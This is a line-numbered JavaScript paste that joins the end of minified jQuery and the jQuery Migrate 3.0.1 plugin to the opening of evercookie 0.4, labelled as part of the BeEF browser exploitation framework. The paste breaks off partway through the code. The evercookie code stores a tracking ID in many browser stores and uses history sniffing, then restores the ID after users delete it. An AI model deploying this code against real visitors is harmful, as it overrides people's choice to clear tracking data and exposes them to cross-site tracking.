0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
  3.  
  4.  
  5. /*! jQuery Migrate v3.0.1 | (c) jQuery Foundation and other contributors | jquery.org/license */
  6.  
  7. void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
  8. "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
  9. }(function(e, t) {
  10. "use strict";
  11. function r(r) {
  12. var n = t.console;
  13. o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
  14. e.migrateTrace && n.trace && n.trace()));
  15. }
  16. function n(e, t, n, a) {
  17. Object.defineProperty(e, t, {
  18. configurable: !0,
  19. enumerable: !0,
  20. get: function() {
  21. return r(a), n;
  22. },
  23. set: function(e) {
  24. r(a), n = e;
  25. }
  26. });
  27. }
  28. function a(e, t, n, a) {
  29. e[t] = function() {
  30. return r(a), n.apply(this, arguments);
  31. };
  32. }
  33. e.migrateVersion = "3.0.1", function() {
  34. var r = /^[12]\./;
  35. t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
  36. e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
  37. t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
  38. }();
  39. var o = {};
  40. e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
  41. o = {}, e.migrateWarnings.length = 0;
  42. }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
  43. var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
  44. e.fn.init = function(e) {
  45. var t = Array.prototype.slice.call(arguments);
  46. return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
  47. t[0] = []), i.apply(this, t);
  48. }, e.fn.init.prototype = e.fn, e.find = function(e) {
  49. var n = Array.prototype.slice.call(arguments);
  50. if ("string" == typeof e && c.test(e)) try {
  51. t.document.querySelector(e);
  52. } catch (a) {
  53. e = e.replace(l, function(e, t, r, n) {
  54. return "[" + t + r + '"' + n + '"]';
  55. });
  56. try {
  57. t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
  58. n[0] = e;
  59. } catch (e) {
  60. r("Attribute selector with '#' was not fixed: " + n[0]);
  61. }
  62. }
  63. return u.apply(this, n);
  64. };
  65. var d;
  66. for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
  67. e.fn.size = function() {
  68. return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
  69. this.length;
  70. }, e.parseJSON = function() {
  71. return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
  72. }, e.isNumeric = function(t) {
  73. var n = s(t), a = function(t) {
  74. var r = t && t.toString();
  75. return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
  76. }(t);
  77. return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
  78. a;
  79. }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
  80. n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
  81. n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
  82. var p = e.ajax;
  83. e.ajax = function() {
  84. var e = p.apply(this, arguments);
  85. return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
  86. a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
  87. e;
  88. };
  89. var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
  90. e.fn.removeAttr = function(t) {
  91. var n = this;
  92. return e.each(t.match(m), function(t, a) {
  93. e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
  94. n.prop(a, !1));
  95. }), f.apply(this, arguments);
  96. }, e.fn.toggleClass = function(t) {
  97. return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
  98. this.each(function() {
  99. var r = this.getAttribute && this.getAttribute("class") || "";
  100. r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
  101. }));
  102. };
  103. var h = !1;
  104. e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
  105. var n = e.cssHooks[r] && e.cssHooks[r].get;
  106. n && (e.cssHooks[r].get = function() {
  107. var e;
  108. return h = !0, e = n.apply(this, arguments), h = !1, e;
  109. });
  110. }), e.swap = function(e, t, n, a) {
  111. var o, i, s = {};
  112. h || r("jQuery.swap() is undocumented and deprecated");
  113. for (i in t) s[i] = e.style[i], e.style[i] = t[i];
  114. o = n.apply(e, a || []);
  115. for (i in t) e.style[i] = s[i];
  116. return o;
  117. };
  118. var g = e.data;
  119. e.data = function(t, n, a) {
  120. var o;
  121. if (n && "object" == typeof n && 2 === arguments.length) {
  122. o = e.hasData(t) && g.call(this, t);
  123. var i = {};
  124. for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
  125. o[s] = n[s]) : i[s] = n[s];
  126. return g.call(this, t, i), n;
  127. }
  128. return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
  129. arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
  130. };
  131. var v = e.Tween.prototype.run, j = function(e) {
  132. return e;
  133. };
  134. e.Tween.prototype.run = function() {
  135. e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
  136. e.easing[this.easing] = j), v.apply(this, arguments);
  137. }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
  138. var Q = e.fn.load, b = e.event.add, w = e.event.fix;
  139. e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
  140. e.event.fix = function(t) {
  141. var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
  142. if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
  143. if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
  144. (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
  145. return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
  146. }, e.event.add = function(e, n) {
  147. return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
  148. b.apply(this, arguments);
  149. }, e.each([ "load", "unload", "error" ], function(t, n) {
  150. e.fn[n] = function() {
  151. var e = Array.prototype.slice.call(arguments, 0);
  152. return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
  153. e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
  154. this));
  155. };
  156. }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
  157. e.fn[n] = function(e, t) {
  158. return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
  159. };
  160. }), e(function() {
  161. e(t.document).triggerHandler("ready");
  162. }), e.event.special.ready = {
  163. setup: function() {
  164. this === t.document && r("'ready' event is deprecated");
  165. }
  166. }, e.fn.extend({
  167. bind: function(e, t, n) {
  168. return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
  169. },
  170. unbind: function(e, t) {
  171. return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
  172. },
  173. delegate: function(e, t, n, a) {
  174. return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
  175. },
  176. undelegate: function(e, t, n) {
  177. return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
  178. },
  179. hover: function(e, t) {
  180. return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
  181. }
  182. });
  183. var x = e.fn.offset;
  184. e.fn.offset = function() {
  185. var n, a = this[0], o = {
  186. top: 0,
  187. left: 0
  188. };
  189. return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
  190. o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
  191. };
  192. var k = e.param;
  193. e.param = function(t, n) {
  194. var a = e.ajaxSettings && e.ajaxSettings.traditional;
  195. return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
  196. n = a), k.call(this, t, n);
  197. };
  198. var A = e.fn.andSelf || e.fn.addBack;
  199. e.fn.andSelf = function() {
  200. return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
  201. A.apply(this, arguments);
  202. };
  203. var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
  204. return e.Deferred = function(t) {
  205. var n = S(), a = n.promise();
  206. return n.pipe = a.pipe = function() {
  207. var t = arguments;
  208. return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
  209. e.each(q, function(o, i) {
  210. var s = e.isFunction(t[o]) && t[o];
  211. n[i[1]](function() {
  212. var t = s && s.apply(this, arguments);
  213. t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
  214. });
  215. }), t = null;
  216. }).promise();
  217. }, t && t.call(n, n), n;
  218. }, e.Deferred.exceptionHook = S.exceptionHook, e;
  219. });
  220.  
  221.  
  222. //
  223. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  224. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  225. // See the file 'doc/COPYING' for copying permission
  226. //
  227.  
  228. /*
  229. * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  230. *
  231. * by samy kamkar : [email protected] : http://samy.pl
  232. *
  233. * this api attempts to produce several types of persistent data
  234. * to essentially make a cookie virtually irrevocable from a system
  235. *
  236. * specifically it uses:
  237. * - standard http cookies
  238. * - flash cookies (local shared objects)
  239. * - silverlight isolated storage
  240. * - png generation w/forced cache and html5 canvas pixel reading
  241. * - http etags
  242. * - http cache
  243. * - window.name
  244. * - IE userData
  245. * - html5 session cookies
  246. * - html5 local storage
  247. * - html5 global storage
  248. * - html5 database storage via sqlite
  249. * - css history scanning
  250. *
  251. * if any cookie is found, it's then reset to all the other locations
  252. * for example, if someone deletes all but one type of cookie, once
  253. * that cookie is re-discovered, all of the other cookie types get reset
  254. *
  255. * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
  256. * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  257. *
  258. * USAGE:
  259.  
  260. var ec = new evercookie();
  261.  
  262. // set a cookie "id" to "12345"
  263. // usage: ec.set(key, value)
  264. ec.set("id", "12345");
  265.  
  266. // retrieve a cookie called "id" (simply)
  267. ec.get("id", function(value) { alert("Cookie value is " + value) });
  268.  
  269. // or use a more advanced callback function for getting our cookie
  270. // the cookie value is the first param
  271. // an object containing the different storage methods
  272. // and returned cookie values is the second parameter
  273. function getCookie(best_candidate, all_candidates)
  274. {
  275. alert("The retrieved cookie is: " + best_candidate + "\n" +
  276. "You can see what each storage mechanism returned " +
  277. "by looping through the all_candidates object.");
  278.  
  279. for (var item in all_candidates)
  280. document.write("Storage mechanism " + item +
  281. " returned " + all_candidates[item] + " votes<br>");
  282. }
  283. ec.get("id", getCookie);
  284.  
  285. // we look for "candidates" based off the number of "cookies" that
  286. // come back matching since it's possible for mismatching cookies.
  287. // the best candidate is very-very-likely the correct one
  288.  
  289. */
  290.  
  291. /* to turn off CSS history knocking, set _ec_history to 0 */
  292. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  293. var _ec_tests = 10;//1000;
  294. var _ec_debug = 0;
  295.  
  296. function _ec_dump(arr, level)
  297. {
  298. var dumped_text = "";
  299. if(!level) level = 0;
  300.  
  301. //The padding given at the beginning of the line.
  302. var level_padding = "";
  303. for(var j=0;j<level+1;j++) level_padding += " ";
  304.  
  305. if(typeof(arr) == 'object') { //Array/Hashes/Objects
  306. for(var item in arr) {
  307. var value = arr[item];
  308.  
  309. if(typeof(value) == 'object') { //If it is an array,
  310. dumped_text += level_padding + "'" + item + "' ...\n";
  311. dumped_text += _ec_dump(value,level+1);
  312. } else {
  313. dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  314. }
  315. }
  316. } else { //Stings/Chars/Numbers etc.
  317. dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  318. }
  319. return dumped_text;
  320. }
  321.  
  322. function _ec_replace(str, key, value)
  323. {
  324. if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  325. {
  326. // find start
  327. var idx = str.indexOf('&' + key + '=');
  328. if (idx == -1)
  329. idx = str.indexOf(key + '=');
  330.  
  331. // find end
  332. var end = str.indexOf('&', idx + 1);
  333. var newstr;
  334. if (end != -1)
  335. newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  336. else
  337. newstr = str.substr(0, idx) + '&' + key + '=' + value;
  338.  
  339. return newstr;
  340. }
  341. else
  342. return str + '&' + key + '=' + value;
  343. }
  344.  
  345.  
  346. // necessary for flash to communicate with js...
  347. // please implement a better way
  348. var _global_lso;
  349. function _evercookie_flash_var(cookie)
  350. {
  351. _global_lso = cookie;
  352.  
  353. // remove the flash object now
  354. var swf = $('#myswf');
  355. if (swf && swf.parentNode)
  356. swf.parentNode.removeChild(swf);
  357. }
  358.  
  359. var evercookie = (function () {
  360. this._class = function() {
  361.  
  362. var self = this;
  363. // private property
  364. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  365. this._ec = {};
  366. var no_color = -1;
  367.  
  368. this.get = function(name, cb, dont_reset)
  369. {
  370. $(document).ready(function() {
  371. self._evercookie(name, cb, undefined, undefined, dont_reset);
  372. });
  373. };
  374.  
  375. this.set = function(name, value)
  376. {
  377. $(document).ready(function() {
  378. self._evercookie(name, function() { }, value);
  379. });
  380. };
  381.  
  382. this._evercookie = function(name, cb, value, i, dont_reset)
  383. {
  384. if (typeof self._evercookie == 'undefined')
  385. self = this;
  386.  
  387. if (typeof i == 'undefined')
  388. i = 0;
  389.  
  390. // first run
  391. if (i == 0)
  392. {
  393. self.evercookie_database_storage(name, value);
  394. self.evercookie_png(name, value);
  395. self.evercookie_etag(name, value);
  396. self.evercookie_cache(name, value);
  397. self.evercookie_lso(name, value);
  398. self.evercookie_silverlight(name, value);
  399.  
  400. self._ec.userData = self.evercookie_userdata(name, value);
  401. self._ec.cookieData = self.evercookie_cookie(name, value);
  402. self._ec.localData = self.evercookie_local_storage(name, value);
  403. self._ec.globalData = self.evercookie_global_storage(name, value);
  404. self._ec.sessionData = self.evercookie_session_storage(name, value);
  405. self._ec.windowData = self.evercookie_window(name, value);
  406.  
  407. if (_ec_history)
  408. self._ec.historyData = self.evercookie_history(name, value);
  409. }
  410.  
  411. // when writing data, we need to make sure lso and silverlight object is there
  412. if (typeof value != 'undefined')
  413. {
  414. if (
  415. (
  416. (typeof _global_lso == 'undefined') ||
  417. (typeof _global_isolated == 'undefined')
  418. )
  419. && i++ < _ec_tests
  420. )
  421. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  422. }
  423.  
  424. // when reading data, we need to wait for swf, db, silverlight and png
  425. else
  426. {
  427. if (
  428. (
  429. // we support local db and haven't read data in yet
  430. (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  431. (typeof _global_lso == 'undefined') ||
  432. (typeof self._ec.etagData == 'undefined') ||
  433. (typeof self._ec.cacheData == 'undefined') ||
  434. (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  435. (typeof _global_isolated == 'undefined')
  436. )
  437. &&
  438. i++ < _ec_tests
  439. )
  440. {
  441. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  442. }
  443.  
  444. // we hit our max wait time or got all our data
  445. else
  446. {
  447. // get just the piece of data we need from swf
  448. self._ec.lsoData = self.getFromStr(name, _global_lso);
  449. _global_lso = undefined;
  450.  
  451. // get just the piece of data we need from silverlight
  452. self._ec.slData = self.getFromStr(name, _global_isolated);
  453. _global_isolated = undefined;
  454.  
  455. var tmpec = self._ec;
  456. self._ec = {};
  457.  
  458. // figure out which is the best candidate
  459. var candidates = new Array();
  460. var bestnum = 0;
  461. var candidate;
  462. for (var item in tmpec)
  463. {
  464. if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
  465. tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
  466. {
  467. candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  468. }
  469. }
  470.  
  471. for (var item in candidates)
  472. {
  473. if (candidates[item] > bestnum)
  474. {
  475. bestnum = candidates[item];
  476. candidate = item;
  477. }
  478. }
  479.  
  480. // reset cookie everywhere
  481. if (typeof dont_reset == "undefined" || dont_reset != 1)
  482. self.set(name, candidate);
  483.  
  484. if (typeof cb == 'function')
  485. cb(candidate, tmpec);
  486. }
  487. }
  488. };
  489.  
  490. this.evercookie_window = function(name, value)
  491. {
  492. try {
  493. if (typeof(value) != "undefined")
  494. window.name = _ec_replace(window.name, name, value);
  495. else
  496. return this.getFromStr(name, window.name);
  497. } catch(e) { }
  498. };
  499.  
  500. this.evercookie_userdata = function(name, value)
  501. {
  502. try {
  503. var elm = this.createElem('div', 'userdata_el', 1);
  504. elm.style.behavior = "url(#default#userData)";
  505.  
  506. if (typeof(value) != "undefined")
  507. {
  508. elm.setAttribute(name, value);
  509. elm.save(name);
  510. }
  511. else
  512. {
  513. elm.load(name);
  514. return elm.getAttribute(name);
  515. }
  516. } catch(e) { }
  517. };
  518.  
  519. this.evercookie_cache = function(name, value)
  520. {
  521. if (typeof(value) != "undefined")
  522. {
  523. // make sure we have evercookie session defined first
  524. document.cookie = 'evercookie_cache=' + value;
  525.  
  526. // evercookie_cache.php handles caching
  527. var img = new Image();
  528. img.style.visibility = 'hidden';
  529. img.style.position = 'absolute';
  530. img.src = 'evercookie_cache.php?name=' + name;
  531. }
  532. else
  533. {
  534. // interestingly enough, we want to erase our evercookie
  535. // http cookie so the php will force a cached response
  536. var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  537. self._ec.cacheData = undefined;
  538. document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  539.  
  540. $.ajax({
  541. url: 'evercookie_cache.php?name=' + name,
  542. success: function(data) {
  543. // put our cookie back
